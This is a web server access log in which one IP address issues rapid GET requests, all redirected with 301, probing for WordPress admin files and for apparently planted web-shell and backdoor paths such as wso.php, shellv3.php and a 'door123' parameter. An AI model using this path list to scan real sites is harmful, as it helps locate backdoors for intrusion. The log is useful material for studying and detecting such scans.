[21/Feb/2026:16:42:01 +0300] "GET /upload.php?mr=exe3/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 98.159.43.135 - - [21/Feb/2026:16:42:02 +0300] "GET /wp-includes/wp-includes/admin-bar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 98.159.43.135 - - [21/Feb/2026:16:42:02 +0300] "GET /indeex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 98.159.43.135 - - [21/Feb/2026:16:42:02 +0300] "GET /dropdown.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:02 +0300] "GET /wp-content/themes/twentytwentythree/patterns/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:03 +0300] "GET /wp-admin/images/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:42:03 +0300] "GET /wp-includes/customize/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:03 +0300] "GET /bs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 98.159.43.135 - - [21/Feb/2026:16:42:03 +0300] "GET /wp-admin/network/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 98.159.43.135 - - [21/Feb/2026:16:42:03 +0300] "GET /credits.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:04 +0300] "GET /edit-comments.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:04 +0300] "GET /checkbox.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:04 +0300] "GET /export.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:05 +0300] "GET /input.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:05 +0300] "GET /load-scripts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 98.159.43.135 - - [21/Feb/2026:16:42:05 +0300] "GET /load-styles.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 98.159.43.135 - - [21/Feb/2026:16:42:05 +0300] "GET /options-discussion.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:05 +0300] "GET /options-general.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:42:06 +0300] "GET /options-permalink.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:42:06 +0300] "GET /options-privacy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:06 +0300] "GET /options-reading.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:42:06 +0300] "GET /options-writing.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:07 +0300] "GET /post-new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 98.159.43.135 - - [21/Feb/2026:16:42:07 +0300] "GET /privacy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:42:07 +0300] "GET /profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:07 +0300] "GET /site-health.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:08 +0300] "GET /tools.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 98.159.43.135 - - [21/Feb/2026:16:42:08 +0300] "GET /update-core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:08 +0300] "GET /user-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:42:08 +0300] "GET /user-new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:08 +0300] "GET /wp-cron.php?ac=3/wp-by-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:08 +0300] "GET /bar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:09 +0300] "GET /samll.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:09 +0300] "GET /webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 98.159.43.135 - - [21/Feb/2026:16:42:09 +0300] "GET /100.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:09 +0300] "GET /plugin-install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:10 +0300] "GET /km.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:10 +0300] "GET /LA.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:10 +0300] "GET /wp-good.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:42:10 +0300] "GET /wp-ldd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:10 +0300] "GET /sgd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:11 +0300] "GET /wzy.php?action=door123 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:11 +0300] "GET /wp-admin/images/Mhbgf.php/wp-content/themes/travelscape/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:11 +0300] "GET /ioxi002.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 98.159.43.135 - - [21/Feb/2026:16:42:11 +0300] "GET /chosen.php?p=\\u001b[0m HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:42:12 +0300] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 98.159.43.135 - - [21/Feb/2026:16:42:12 +0300] "GET /wp-signup.php?FoX=sQFLZ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 98.159.43.135 - - [21/Feb/2026:16:42:12 +0300] "GET /dropdown.php%5Cu001b%5B0m HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:12 +0300] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:42:12 +0300] "GET /wp-content/themes/hariko/lib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 98.159.43.135 - - [21/Feb/2026:16:42:13 +0300] "GET /class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:42:13 +0300] "GET /wp-content/plugins/classic-editor/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 98.159.43.135 - - [21/Feb/2026:16:42:13 +0300] "GET /Njima.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 98.159.43.135 - - [21/Feb/2026:16:42:13 +0300] "GET /ynz.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:42:13 +0300] "GET /wp-admin/network/class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:42:14 +0300] "GET /.tmb/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:14 +0300] "GET /wp-content/themes/pridmag/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:42:14 +0300] "GET /FroggBaba.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:14 +0300] "GET /wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:14 +0300] "GET /wp-includes/pomo/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:15 +0300] "GET /wp-includes/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:42:15 +0300] "GET /sts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:42:15 +0300] "GET /wp-admin/network/ayk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:15 +0300] "GET /wp-admin/maint/users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:15 +0300] "GET /wp-content/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:16 +0300] "GET /wp-content/wp-cron.php?ac=3 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 98.159.43.135 - - [21/Feb/2026:16:42:16 +0300] "GET /wp-content/plugins/tunnelforms/lib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:42:16 +0300] "GET /st.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:16 +0300] "GET /GA13.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:16 +0300] "GET /wp-content/plugins/sid/sidwso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:42:17 +0300] "GET /wp-content/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:42:17 +0300] "GET /wp-content/tmpls.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 98.159.43.135 - - [21/Feb/2026:16:42:17 +0300] "GET /modules/karakaroa/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:42:17 +0300] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 98.159.43.135 - - [21/Feb/2026:16:42:18 +0300] "GET /wp-content/themes/travel/issue.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 98.159.43.135 - - [21/Feb/2026:16:42:18 +0300] "GET /crop.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 98.159.43.135 - - [21/Feb/2026:16:42:18 +0300] "GET /wp-admin/user/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 98.159.43.135 - - [21/Feb/2026:16:42:18 +0300] "GET /wp-admin/images/Mhbgf.php/xx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 98.159.43.135 - - [21/Feb/2026:16:42:18 +0300] "GET /gali.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:42:19 +0300] "GET /wp-admin/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 98.159.43.135 - - [21/Feb/2026:16:42:19 +0300] "GET /cache/i/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 98.159.43.135 - - [21/Feb/2026:16:42:19 +0300] "GET /dir.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:42:19 +0300] "GET /dirs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:20 +0300] "GET /abouts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:42:20 +0300] "GET /malls.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 98.159.43.135 - - [21/Feb/2026:16:42:20 +0300] "GET /liefs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:42:20 +0300] "GET /uc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:21 +0300] "GET /locks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 98.159.43.135 - - [21/Feb/2026:16:42:21 +0300] "GET /wp-dsdd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 98.159.43.135 - - [21/Feb/2026:16:42:21 +0300] "GET /wordpress/logsxxyyzz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:21 +0300] "GET /css/bun.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 98.159.43.135 - - [21/Feb/2026:16:42:21 +0300] "GET /js/edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:22 +0300] "GET /wp-includes/css/dist/editor/fxp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 98.159.43.135 - - [21/Feb/2026:16:42:22 +0300] "GET /wp-themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 98.159.43.135 - - [21/Feb/2026:16:42:22 +0300] "GET /wp-uploads.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:22 +0300] "GET /wp-files.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:22 +0300] "GET /t.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:23 +0300] "GET /stindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 98.159.43.135 - - [21/Feb/2026:16:42:23 +0300] "GET /shop.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 98.159.43.135 - - [21/Feb/2026:16:42:23 +0300] "GET /test/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:23 +0300] "GET /exit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:23 +0300] "GET /install.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 98.159.43.135 - - [21/Feb/2026:16:42:24 +0300] "GET /max.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:24 +0300] "GET /wp-load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 98.159.43.135 - - [21/Feb/2026:16:42:24 +0300] "GET /wp-includes/SimplePie/Cache/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:24 +0300] "GET /aa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:24 +0300] "GET /assets/images/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:25 +0300] "GET /worm3.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 98.159.43.135 - - [21/Feb/2026:16:42:25 +0300] "GET /shellv3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:25 +0300] "GET /sh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:25 +0300] "GET /cgi-bin/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:26 +0300] "GET /cgi-bin/users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:26 +0300] "GET /function.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:26 +0300] "GET /m.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:26 +0300] "GET /delete3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 98.159.43.135 - - [21/Feb/2026:16:42:27 +0300] "GET /wp-content/plugins/wp-doftx/noimg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 